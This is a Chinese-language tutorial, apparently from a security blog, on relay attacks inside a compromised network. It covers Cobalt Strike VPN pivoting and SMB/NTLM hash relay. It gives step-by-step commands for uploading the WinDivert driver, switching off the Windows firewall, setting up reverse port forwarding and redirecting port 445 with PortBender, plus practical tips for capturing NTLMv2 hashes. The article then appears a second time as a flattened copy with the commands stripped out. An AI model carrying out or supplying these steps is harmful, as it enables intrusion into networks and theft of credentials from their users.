实战下的内网中继攻击问题
字数 1201 2025-08-24 16:48:15

实战下的内网中继攻击技术详解

一、Cobalt Strike VPN功能在内网渗透中的应用

1. VPN功能概述

Cobalt Strike的beacon自带VPN功能,可以将攻击者的VPS网络环境置于目标内网中。其核心原理是通过虚拟网卡实现网络接口的虚拟化。

2. 技术原理

  • 攻击者通过虚拟网卡访问目标网络
  • 数据通过以太帧形式传输(基于二层网络工作原理)
  • VPN服务器通过数据通道(TCP/UDP/HTTP等)传输到VPN客户端
  • VPN客户端将流量转储到目标网络

3. 实际部署步骤

环境准备

  • 需要具备高权限的beacon(建议system权限)
  • 支持的操作系统:Windows Server(Windows 10可能不支持)

部署流程

  1. 在beacon的pivoting模块中选择"deploy VPN"
  2. 勾选"克隆MAC地址"选项
  3. 选择VPN协议(推荐顺序):
    • UDP:最快最合适,开销最少
    • ICMP/HTTP/TCP:用于穿透限制性防火墙

常见问题处理

  • 网卡未启用问题:执行ip link set phear0 up手动启动
  • IP地址配置:
    ifconfig phear0 192.168.31.11 netmask 255.255.255.0 up
    ip addr add 192.168.31.11 dev phear0
    
  • 遇到"SIOCSIFADDR: File exists"错误时,更换IP地址

4. 验证方法

  • 使用ping测试内网连通性
  • 通过内网机器扫描验证服务可达性

二、SMB中继攻击实现方案

1. 直接VPN方案

  1. 在VPN建立后启动Responder:
    responder -I phear0
    
  2. 诱使目标访问攻击者服务(如3389)
  3. 捕获NTLMv2-SSP Hash

2. 反向端口转发+WinDivert方案

技术难点

  • 直接转发445端口不可行,需要额外协议处理
  • 需要驱动级流量重定向

所需工具

PortBender(需WinDivert64.sys驱动):
https://github.com/praetorian-inc/PortBender

实施步骤

  1. 上传驱动到指定目录:
    cd C:\Windows\system32\drivers
    upload /root/下载/WinDivert64.sys
    
  2. 关闭防火墙(或配置放行规则):
    netsh advfirewall set allprofiles state off
    
  3. 建立反向端口转发:
    rportfwd 8000 127.0.0.1 445
    
  4. 使用PortBender重定向流量:
    PortBender redirect 445 8000
    

注意事项

  • 必须使用system权限的beacon
  • 配置错误可能导致SMB服务崩溃(表现为445端口关闭)
  • 445端口转发后不能中继到自己,必须中继到其他服务器

三、流量走向分析

  1. 目标机器访问445端口
  2. PortBender将流量重定向到8000端口
  3. 反向端口转发将8000端口流量转发到攻击者VPS的445端口
  4. 通过socks代理将流量返回

四、实战建议

  1. 优先使用Windows Server系统部署VPN
  2. 保持操作一次性成功,避免服务崩溃
  3. 注意关闭SMB签名(否则无法执行中间人攻击)
  4. 考虑在内网中部署多个中继点提高成功率

五、参考资料

Cobalt Strike官方文档:https://www.cobaltstrike.com/blog/how-vpn-pivoting-works-with-source-code/

实战下的内网中继攻击技术详解 一、Cobalt Strike VPN功能在内网渗透中的应用 1. VPN功能概述 Cobalt Strike的beacon自带VPN功能,可以将攻击者的VPS网络环境置于目标内网中。其核心原理是通过虚拟网卡实现网络接口的虚拟化。 2. 技术原理 攻击者通过虚拟网卡访问目标网络 数据通过以太帧形式传输(基于二层网络工作原理) VPN服务器通过数据通道(TCP/UDP/HTTP等)传输到VPN客户端 VPN客户端将流量转储到目标网络 3. 实际部署步骤 环境准备 需要具备高权限的beacon(建议system权限) 支持的操作系统:Windows Server(Windows 10可能不支持) 部署流程 在beacon的pivoting模块中选择"deploy VPN" 勾选"克隆MAC地址"选项 选择VPN协议(推荐顺序): UDP:最快最合适,开销最少 ICMP/HTTP/TCP:用于穿透限制性防火墙 常见问题处理 网卡未启用问题:执行 ip link set phear0 up 手动启动 IP地址配置: 遇到"SIOCSIFADDR: File exists"错误时,更换IP地址 4. 验证方法 使用ping测试内网连通性 通过内网机器扫描验证服务可达性 二、SMB中继攻击实现方案 1. 直接VPN方案 在VPN建立后启动Responder: 诱使目标访问攻击者服务(如3389) 捕获NTLMv2-SSP Hash 2. 反向端口转发+WinDivert方案 技术难点 直接转发445端口不可行,需要额外协议处理 需要驱动级流量重定向 所需工具 PortBender(需WinDivert64.sys驱动): https://github.com/praetorian-inc/PortBender 实施步骤 上传驱动到指定目录: 关闭防火墙(或配置放行规则): 建立反向端口转发: 使用PortBender重定向流量: 注意事项 必须使用system权限的beacon 配置错误可能导致SMB服务崩溃(表现为445端口关闭) 445端口转发后不能中继到自己,必须中继到其他服务器 三、流量走向分析 目标机器访问445端口 PortBender将流量重定向到8000端口 反向端口转发将8000端口流量转发到攻击者VPS的445端口 通过socks代理将流量返回 四、实战建议 优先使用Windows Server系统部署VPN 保持操作一次性成功,避免服务崩溃 注意关闭SMB签名(否则无法执行中间人攻击) 考虑在内网中部署多个中继点提高成功率 五、参考资料 Cobalt Strike官方文档:https://www.cobaltstrike.com/blog/how-vpn-pivoting-works-with-source-code/